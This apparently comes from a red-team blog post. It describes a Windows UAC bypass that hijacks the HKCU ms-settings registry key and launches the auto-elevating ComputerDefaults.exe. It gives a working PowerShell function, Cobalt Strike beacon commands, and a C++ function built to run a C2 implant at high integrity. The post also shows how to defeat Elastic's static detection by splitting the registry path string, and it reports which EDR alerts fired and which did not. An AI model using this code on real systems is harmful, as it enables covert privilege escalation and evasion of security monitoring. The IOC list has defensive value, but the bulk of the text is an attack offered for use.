Simple UAC Bypass via Registry Hijack Implemented in C++
User Account Control (UAC) is a Windows security feature that limits application privileges unless explicitly elevated by the user.
Medium Integrity Sessions: Default for standard user processes, even if the user is an administrator. Sessions at this integrity level can’t perform administrative tasks without elevation.
High Integrity Sessions: Used by elevated processes. These have administrative privileges and can make system-wide changes.
UAC prevents automatic escalation to high integrity without user consent, helping mitigate malware and privilege escalation.
Importantly, certain binaries on a Windows system can execute without the need to prompt for UAC. If these binaries can be manipulated to execute other commands and code, these will run without prompting for UAC, and will run at high-integrity.
To move from a medium-integrity level to a high-integrity level, invoking either the computerdetaults.exe or fodhelper.exe binaries, both native Windows binaries within the %SystemRoot%\Windows\System32 directory were found to be tagged with auto elevate, and to subsequently execute commands specified in specific registry keys.
The UAC bypass occurs due to the binaries set to autoElevate as true; they do not prompt for UAC when executed.
fig. 1. Manifest entry for ComputerDefaults.exe - Windows 10 - 10.0.19045 N/A Build 19045
More binaries manifests can be queried for the presence of this tag; the manifests of 46 binaries in System32 for Windows 10 - 10.0.19045 N/A Build 19045 were found. Not all these binaries will be susceptible to additional high-integrity process creation or code execution.
fig.2. 42 binaries in System32 marked with autoElevate set to true within their manifests - Windows 10 - 10.0.19045 N/A Build 19045
Additional work is needed to isolate takeover techniques, such as dll hijacking or registry entry overwrites, or commands proxied in arguments.
There are relatively well-known implementations of abusing the registry entries required for command execution via FobHelper.exe and ComputerDefaults.exe.
The following registry entries must be present for launching a subsequent process (e.g. cmd.exe) with high-integrity, when specifically executing ComputerDefaults.exe or FobHelper.exe:
HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\open\command
HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\open\command\Default >> "cmd.exe"
HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\open\command\DelegateExecute >> ""
The registry path "ms-settings" is not present by default on Windows 10.
These registry entries and binary execution can be easily set via a c2 channel using PowerShell, however EDR vendor products are often checking for IOCs like the addition or modification of registry entries, subsequent process creation etc. The IOCs for ComputerDefaults.exe are as follows:
IOC: Windows Event ID 10 - Process Access
IOC: A binary or script spawned as a child process of ComputerDefaults.exe
IOC: Creation of or Changes to HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\open\command
Ideal Goal: Execution of the UAC bypass over a c2 beacon channel ideally should both render successful high-integrity execution, and result in no detection.
Simple UAC Bypass (for ComputerDefaults.exe) implemented in PowerShell
It was found that setting the registry commands using PowerShell was successful in raising a high-integrity session. A simple function created in PowerShell was able to be imported in the c2 beacon, and executed.
function uacbypass { New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force Start-Sleep 5 Set-ItemProperty "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(Default)" -Value "C:\myfolder\beaconpayload.exe" Start-Sleep 5 Set-ItemProperty "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" Start-Sleep 5 Start-Process "C:\Windows\System32\ComputerDefaults.exe" -WindowStyle Hidden Start-Sleep 5 Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force }
Execution in the c2 beacon session was as follows:
beacon> powershell-import C:\uacbypass.ps1 beacon> powerpick uacbypass
beacon> powershell-import C:\uacbypass.ps1
beacon> powerpick uacbypass
However due to the nature of delivery via Cobalt Strike's implementation of `powershell` and `powerpick` commands, medium-level alerts were raised with the following two Elastic alerts:
PowerShell Suspicious Payload Encoded and Compressed - Medium
Suspicious PowerShell Engine ImageLoad - Medium
Promisingly, no detection was raised for the creation of the registry entries. Additionally, MDE did not alert on this execution.
Converting the Simple UAC (for ComputerDefaults.exe) Bypass to C++
An alternative execution method away from PowerShell was needed. Implementing registry modifications in C++ was found to be straight-forward and a POC executable was created to test additional detection.
Immediately, and as suspected would occur, Elastic alerted on the small _.exe_ file as soon as it was written to disk.
Stepping through the registry commands in the code (disabling, and re-enabling each registry command one-by-one, and recompiling the binary), it was quickly found that the offensive registry command was the Key Creation call containing the path `Software\Classes\ms-settings\shell\open\command`
RegCreateKeyExW(HKEY_CURRENT_USER, L"Software\Classes\ms-settings\shell\open\command", 0, NULL, 0, KEY_SET_VALUE, NULL, &hKey, NULL);
The matching Elastic rule for this was the generic Malware Detection Alert. This rule does not reveal any additional information on any determined malware detection.
A clue that only static analysis of the binary was occurring came in that the detection triggered upon disk write prior to any execution.
A rather simple workaround was attempted; splitting the path string across multiple variables and joining them back together with the final API call. This resulted in no presence of the static path occurring in the binary.
std::wstring var1 = L"Software\\"; std::wstring var2 = L"null\\"; std::wstring var3 = L"Classes\\"; std::wstring var4 = L"null\\"; std::wstring var5 = L"ms-settings\\"; std::wstring var6 = L"null\\"; std::wstring var7 = L"shell\\"; std::wstring var8 = L"null\\"; std::wstring var9 = L"open\\"; std::wstring var10 = L"null\\"; std::wstring var11 = L"command"; std::wstring path = var1 + var3 + var5 + var7 + var9 + var11;
The final function was constructed as follows; with the earlier testing ensuring that no other API call was triggering alerts:
void regSeed(const LPCWSTR binPath) { HKEY hKey = NULL; std::wstring var1 = L"Software\\"; std::wstring var2 = L"null\\"; std::wstring var3 = L"Classes\\"; std::wstring var4 = L"null\\"; std::wstring var5 = L"ms-settings\\"; std::wstring var6 = L"null\\"; std::wstring var7 = L"shell\\"; std::wstring var8 = L"null\\"; std::wstring var9 = L"open\\"; std::wstring var10 = L"null\\"; std::wstring var11 = L"command"; std::wstring path = var1 + var3 + var5 + var7 + var9 + var11; RegCreateKeyExW(HKEY_CURRENT_USER, path.c_str(), 0, NULL, 0, KEY_SET_VALUE, NULL, &hKey, NULL); RegSetValueExW(hKey, NULL, 0, REG_SZ, (BYTE*)Path, (DWORD)(sizeof(WCHAR) * (wcslen(binPath) + 1))); RegSetValueExW(hKey, L"DelegateExecute", 0, REG_SZ, (BYTE*)L"", sizeof(WCHAR)); Sleep(2000); ShellExecuteW(NULL, L"open", L"C:\\Windows\\System32\\computerdefaults.exe", NULL, NULL, SW_HIDE); Sleep(2000); shortpath = var1 + var3 + var5; RegDeleteTreeW(HKEY_CURRENT_USER, shortpath.c_str()); }
This function can be called via calling the function in the main() of your code, or other code-block, regSeed(const LPCWSTR binPath) LPCWSTR binPath = , where binPath is the path to the binary that is desired to run as high-integrity; such as a c2 implant payload uploaded to the target host:
LPCWSTR binPath = L"C:\\myfolder\\myc2implant.exe\0"; ... ... ... regSeed(binPath);